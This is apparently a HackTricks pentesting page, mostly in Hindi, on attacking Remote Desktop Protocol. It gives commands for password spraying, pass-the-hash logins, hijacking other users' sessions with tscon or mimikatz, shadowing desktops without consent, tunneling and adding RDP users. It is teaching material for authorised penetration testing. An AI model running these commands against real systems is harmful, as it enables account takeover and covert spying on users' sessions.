3389 - Pentesting RDP

Tip

AWS Hacking सीखें & अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें & अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking सीखें & अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE) assessment tracks (ARTA/GRTA/AzRTA) और Linux Hacking Expert (LHE) के लिए full HackTricks Training catalog ब्राउज़ करें।

HackTricks का समर्थन करें

बुनियादी जानकारी

Microsoft द्वारा विकसित, Remote Desktop Protocol (RDP) नेटवर्क पर कंप्यूटरों के बीच ग्राफिकल इंटरफ़ेस कनेक्शन सक्षम करने के लिए डिज़ाइन किया गया है। ऐसा कनेक्शन स्थापित करने के लिए, उपयोगकर्ता द्वारा RDP client सॉफ़्टवेयर का उपयोग किया जाता है, और साथ ही रिमोट कंप्यूटर को RDP server सॉफ़्टवेयर चलाना आवश्यक होता है। यह सेटअप दूरस्थ कंप्यूटर के डेस्कटॉप वातावरण का निर्बाध नियंत्रण और एक्सेस संभव बनाता है, मूलतः इसके इंटरफ़ेस को उपयोगकर्ता के लोकल डिवाइस पर लाता है।

डिफ़ॉल्ट पोर्ट: 3389

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

Enumeration

स्वचालित

nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>

यह उपलब्ध एन्क्रिप्शन और DoS कमजोरियों की जाँच करता है (सेवा को DoS का कारण बने बिना) और NTLM Windows जानकारी (संस्करण) प्राप्त करता है।

सुरक्षा परत / NLA जांच

RDP विभिन्न सुरक्षा परतों (native RDP, TLS, या CredSSP/NLA) पर negotiate कर सकता है। आप जल्दी से server-side सेटिंग्स fingerprint कर सकते हैं और यह पता लगा सकते हैं कि क्या NLA आवश्यक है:

# Security layer and encryption info
nmap --script rdp-enum-encryption -p 3389 <IP>

# Quick auth check (also reports if NLA is required)
nxc rdp <IP> -u <user> -p <password>

# Pre-auth screenshot only works if NLA is disabled
nxc rdp <IP> --nla-screenshot

# Authenticated screenshot after valid login
nxc rdp <IP> -u <user> -p <password> --screenshot

Brute force

सावधान रहें, आप खातों को लॉक कर सकते हैं

Password Spraying

सावधान रहें, आप खातों को लॉक कर सकते हैं

# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

ज्ञात credentials/hash से कनेक्ट करें

rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash

RDP सेवाओं के खिलाफ ज्ञात credentials की जाँच करें

impacket का rdp_check.py आपको जाँचने देता है कि कुछ credentials किसी RDP सेवा के लिए वैध हैं या नहीं:

rdp_check <domain>/<name>:<password>@<IP>

हमले

Session stealing

SYSTEM permissions के साथ आप किसी भी opened RDP session by any user तक पहुँच सकते हैं, और मालिक के पासवर्ड को जानने की आवश्यकता नहीं है।

Get openned sessions:

query user

चयनित सत्र तक पहुँच

tscon <ID> /dest:<SESSIONNAME>

अब आप चुने हुए RDP session के अंदर होंगे और केवल Windows टूल्स और फीचर्स का उपयोग करके किसी उपयोगकर्ता का impersonate कर सकेंगे।

Important: जब आप किसी active RDP session को access करेंगे तो जो उपयोगकर्ता उसे उपयोग कर रहा था वह लॉग आउट हो जाएगा।

आप process dumping करके processes से passwords निकाल सकते हैं, लेकिन यह तरीका कहीं तेज़ है और आपको उपयोगकर्ता के virtual desktops के साथ interact करने देता है (passwords in notepad बिना disk पर सेव किए गए, अन्य मशीनों में खुले अन्य RDP sessions…)

Mimikatz

आप इसे करने के लिए mimikatz का भी उपयोग कर सकते हैं:

ts::sessions        #Get sessions
ts::remote /id:2    #Connect to the session

RDP Shadowing (रिमोट कंट्रोल)

यदि Remote Desktop Services shadowing सक्षम है, तो आप बिल्ट-इन mstsc स्विच का उपयोग करके किसी अन्य उपयोगकर्ता के सक्रिय सत्र को देख या नियंत्रित कर सकते हैं (कभी-कभी बिना सहमति के)

# List sessions on a remote host
qwinsta /server:<IP>
quser /server:<IP>

# Shadow a specific session (consent required if policy enforces it)
mstsc /v:<IP> /shadow:<SESSION_ID> /control

# Shadow without consent if policy allows it
mstsc /v:<IP> /shadow:<SESSION_ID> /noconsentprompt /prompt

# Check current shadowing policy on the target
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow

RDP Virtual Channel Tunneling

RDP virtual channels का समर्थन करता है जो एक स्थापित RDP सेशन के ऊपर pivoting/tunneling के लिए दुरुपयोग किए जा सकते हैं। एक विकल्प rdp2tcp (client/server) है, जो RDP के ऊपर TCP forwards को multiplex कर सकता है (FreeRDP के साथ काम करता है)।

# Start FreeRDP with rdp2tcp virtual channel
xfreerdp /u:<user> /v:<IP> /rdp2tcp:/path/to/rdp2tcp/client/rdp2tcp

Tunneling and Port Forwarding

Sticky-keys & Utilman

इस तकनीक को stickykeys या utilman आप किसी भी समय एक administrative CMD और किसी भी RDP session तक पहुँच बना पाएँगे

You can search RDPs that have been backdoored with one of these techniques already with: https://github.com/linuz/Sticky-Keys-Slayer

RDP Process Injection

यदि कोई किसी अलग domain से या बेहतर privileges के साथ better privileges login via RDP उस PC पर लॉगिन करे जहाँ you are an Admin, तो आप inject कर सकते हैं अपना beacon उसके RDP session process में और उसके रूप में act कर सकते हैं:

RDP Sessions Abuse

Adding User to RDP group

net localgroup "Remote Desktop Users" UserLoginName /add

स्वचालित उपकरण

AutoRDPwn एक post-exploitation framework है जो Powershell में बनाया गया है, और मुख्य रूप से Microsoft Windows कंप्यूटरों पर Shadow attack को स्वचालित करने के लिए डिज़ाइन किया गया है। यह vulnerability (जिसे Microsoft ने एक feature के रूप में सूचीबद्ध किया है) एक remote attacker को बिना पीड़ित की सहमति उसके डेस्कटॉप को देखने और यहां तक कि आवश्यकता पर उसे नियंत्रित करने की अनुमति देती है, वह भी ऑपरेटिंग सिस्टम के स्वयं के टूल्स का उपयोग करके।

  • EvilRDP

  • कमांड लाइन से स्वचालित रूप से माउस और कीबोर्ड को नियंत्रित करें

  • कमांड लाइन से स्वचालित रूप से क्लिपबोर्ड को नियंत्रित करें

  • क्लाइंट से एक SOCKS proxy बनाएं जो नेटवर्क संचार को RDP के माध्यम से लक्ष्य तक चैनल करे

  • फाइल अपलोड किए बिना लक्ष्य पर किसी भी SHELL और PowerShell कमांड्स चलाएँ

  • फ़ाइल ट्रांसफर अक्षम होने पर भी लक्ष्य पर/से फ़ाइलें अपलोड और डाउनलोड करें

  • SharpRDP

यह टूल victim RDP में कमांड्स चलाने की अनुमति देता है ग्राफिकल इंटरफ़ेस की आवश्यकता के बिना

HackTricks स्वचालित कमांड

Protocol_Name: RDP    #Protocol Abbreviation if there is one.
Port_Number:  3389     #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html

Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}

संदर्भ

Tip

AWS Hacking सीखें & अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें & अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking सीखें & अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE) assessment tracks (ARTA/GRTA/AzRTA) और Linux Hacking Expert (LHE) के लिए full HackTricks Training catalog ब्राउज़ करें।

HackTricks का समर्थन करें